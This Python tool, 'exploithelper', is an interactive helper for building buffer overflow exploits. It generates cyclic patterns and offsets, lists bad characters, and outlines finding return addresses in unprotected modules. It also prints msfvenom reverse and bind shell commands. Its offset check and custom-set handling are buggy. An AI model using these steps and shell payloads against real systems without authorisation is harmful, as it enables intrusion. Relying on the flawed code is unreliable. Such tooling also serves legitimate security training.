#!/usr/bin/env python3

'''
Copyright (c) 2020 Javier Vidal Ruano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.'''

import cmd
import codecs
from os import system, name
import re
import signal
import struct
import subprocess
import sys
import tempfile
import nasm_shell

def ctrlC_handler(sig, frame):
    print('\n[*] Ctrl+C (SIGINT) captured, exitting gracefully.')
    sys.exit(0)

def pattern_create(length, set_a=None, set_b=None, set_c=None):
    if not isinstance(length, int):
        raise Exception('[-] Length must be an integer')

    if not set_a: seta="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    if not set_b: setb="abcdefghijklmnopqrstuvwxyz"
    if not set_c: setc="0123456789"

    string="" ; a=0 ; b=0 ; c=0
    
    while len(string) < length:
        if not set_a and not set_b and not set_c:
            string += seta[a] + setb[b] + setc[c]
            c+=1
            if c == len(setc):c=0;b+=1
            if b == len(setb):b=0;a+=1
            if a == len(seta):a=0
        elif set_a and not set_b and not set_c:
            raise Exception('[-] Error: pattern_create: Cannot work with just one set!')
        elif set_a and set_b and not set_c:
            string += seta[a] + setb[b]
            b+=1
            if b == len(setb):b=0;a+=1
            if a == len(seta):a=0
        elif set_a and set_b and set_c:
            string += seta[a] + setb[b] + setc[c]
            c+=1
            if c == len(setc):c=0;b+=1
            if b == len(setb):b=0;a+=1
            if a == len(seta):a=0
        else:
            raise Exception('[-] Error: pattern_create: Input error: Please check your parameters')

    return string[:length]

def pattern_offset(buffer, lenght=8192): # By default the lenght is 8192, but it is not fixed
    pattern = pattern_create(lenght)
    
    #string = reverse(buffer.decode('hex')) # For python2 # Reverse because it is little endian, decode.('hex') because the input value is in hexadecimal
    decode_hex = codecs.getdecoder("hex_codec")
    string = reverse( decode_hex(buffer)[0] ).decode('utf-8') # Decode the hex into bytes. Decode bytes into utf-8 (string). Reverse the string because it's in little endian.

    return str(pattern.find(string))

# Just an alias for [::-1]
def reverse(string):
    return string[::-1]

class exploithelper(cmd.Cmd):
    """exploithelper: A tool that helps you build buffer overflow exploits."""
    
    # Attributes
    prompt = 'exploithelper> '
    intro = 'exploithelper: A tool that helps you build buffer overflow exploits.\n'
    ruler = '='
    #doc_header = ''
    #undoc_header = ''
    
    def do_badchars(self, line):
        """Print badchars list ready to paste on the exploit source code."""
        print("""badchars=(\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\"
\"\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\"
\"\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\"
\"\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\"
\"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\"
\"\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\"
\"\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\"
\"\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\"
\"\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\"
\"\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\"
\"\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\"
\"\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\"
\"\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\"
\"\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\"
\"\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\"
\"\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\")\n""")
    
    def do_bye(self, line):
        """Exit the program with good manners."""
        print('[*] Goodbye.')
        sys.exit(0)
    
    def do_clear(self, line):
        """Clear the screen."""
        # for windows 
        if name == 'nt': 
            _ = system('cls') 
        # for mac and linux(here, os.name is 'posix') 
        else: 
            _ = system('clear') 
    
    def default(self, line):
        if line == 'EOF':
            return True
        else:
            print('[*] Type help to list the available commands.')

    def do_exit(self, line):
        """Exit the program."""
        sys.exit(0)
    
    def do_nasm_shell(self, line):
        """Enter the NASM shell, compile to the specified architecture. Example: nasm_shell 32"""
        bits = 32
        if len(line) > 1:
            if '32' in str(line):
                bits = 32
            elif '64' in (line):
                bits = 64
            else:
                bits = 32
        shell = nasm_shell.NasmShell(bits)
        shell.cmdloop()
    
    def do_pattern_create(self, line):
        """Create a unique pattern."""
        if line == '':
            print('[-] You must provide a pattern lenght.\n')
        elif re.fullmatch(r'^[0-9]+$', line) == None:
            print('[-] You must provide a pattern lenght.\n')
        else:
            print((pattern_create( int(line) )+'\n'))
    
    def do_pattern_offset(self, line):
        """Obtain the offset from the start of the pattern. Example: pattern_offset 69413269"""
        if line == '':
            print('[-] You must provide a pattern offset.\n')
        else:
            if len(line) != 8:
                print('[-] Error: Wrong offset syntax. Must be 8 numbers.\n')
            elif re.fullmatch(r'^[0-9]$', line) == None:
                print('[-] Error: Wrong offset syntax. Must be 8 numbers.\n')
            else:
                offset = pattern_offset(line)
                if offset == '-1':
                    print('[-] Error: pattern_offset: Could not find the correct offset.\n')
                else:
                    print('[*] Offset: ' + offset + '\n')
    
    def do_quit(self, line):
        """Exit the program."""
        print('[*] Quitting.')
        sys.exit(0)
           
    def do_return_address(self, line):
        """Print instructions to obtain a valid return address."""
        print('  1 Search the modules:')
        print('    * Imunnity Debugger: !mona modules')
        print('    * Evan\'s debugger: Plugins -> Opcode search')
        print('  2 Choose a module that hasn\'t got any security measures (DEP, ASLR, Rebase,...) enabled')
        print('  3 Get the opcode of the instructions you want using the NASM shell (for example JMP EAX)')
        print('  4 Search the chosen module for that instruction:')
        print('    * Imunnity Debugger: !mona find -s "\\xOPCODE" -m MODULE')
        print('    * Evan\'s debugger: Plugins -> Opcode search -> Select the module you want to search in')
        print('  5 Get the return address of the chosen instruction and use it in your exploit\n')
    
    def do_shellcode(self, line):
        """Print commands to generate shellcode with Metasploit."""
        print('[*] Commands to generate shellcode with metasploit:')
        print('[*] REVERSE TCP WINDOWS32:\nmsfvenom -p windows/shell_reverse_tcp LHOST=<YOUR IP> LPORT=443 EXITFUNC=thread -a x86 --platform Windows -f c -b "\\x00\\x0a\\x0d" -e x86/shikata_ga_nai')
        print('[*] REVERSE TCP LINUX32:\nmsfvenom -p linux/x86/shell_reverse_tcp LHOST=<YOUR IP> LPORT=443 EXITFUNC_thread -a x86 --platform Linux -f c -b "\\x00\\x0a\\x0d\\x20" -e x86/shikata_ga_nai')
        print('[*] BIND TCP WINDOWS32:\nmsfvenom -p windows/shell_bind_tcp LHOST=<YOUR IP> LPORT=443 EXITFUNC=thread -a x86 --platform Windows -f c -b "\\x00\\x0a\\x0d" -e x86/shikata_ga_nai')
        print('[*] BIND TCP LINUX32:\nmsfvenom -p linux/x86/shell_bind_tcp LHOST=<YOUR IP> LPORT=443 EXITFUNC_thread -a x86 --platform Linux -f c -b "\\x00\\x0a\\x0d\\x20" -e x86/shikata_ga_nai')
        print('')
    
    def do_summary(self, line):
        """Print a summary of everything so you can make sure you haven't missed anything in the process."""
        print('  1 Control the EIP register:')
        print('    1.1 Create a unique pattern X bytes long with pattern_create')
        print('    1.2 Identify the offset with pattern_offset')
        print('    1.3 Test if the offset is correct')
        print('  2 Locate space for the shellcode')
        print('    2.2 Test at the end of the payload (check if one of the registers points to the start of the shellcode)')
        print('    2.3 Test at the start of the payload(check if one of the registers points to the start of the shellcode)')
        print('  3 Test the bad characters')
        print('    3.1 Append badchars list after the EIP address')
        print('    3.2 General badchars: 0x00, 0x0a, 0x0d')
        print('  4 Find a return address')
        print('    4.1 Search for modules without safety features turned on')
        print('    4.2 Get the opcode of the instruction you want with nasm_shell')
        print('    4.3 Search the opcode to get the instruction address')
        print('    4.4 Put the address in little endian format (in general)')
        print('  5 Generate the shellcode with Metasploit')
        print('  6 Put some NOP instructions (0x90) before the shellcode to make sure it runs well')

if __name__ == '__main__':
    signal.signal(signal.SIGINT, ctrlC_handler)
    exploithelper().cmdloop()
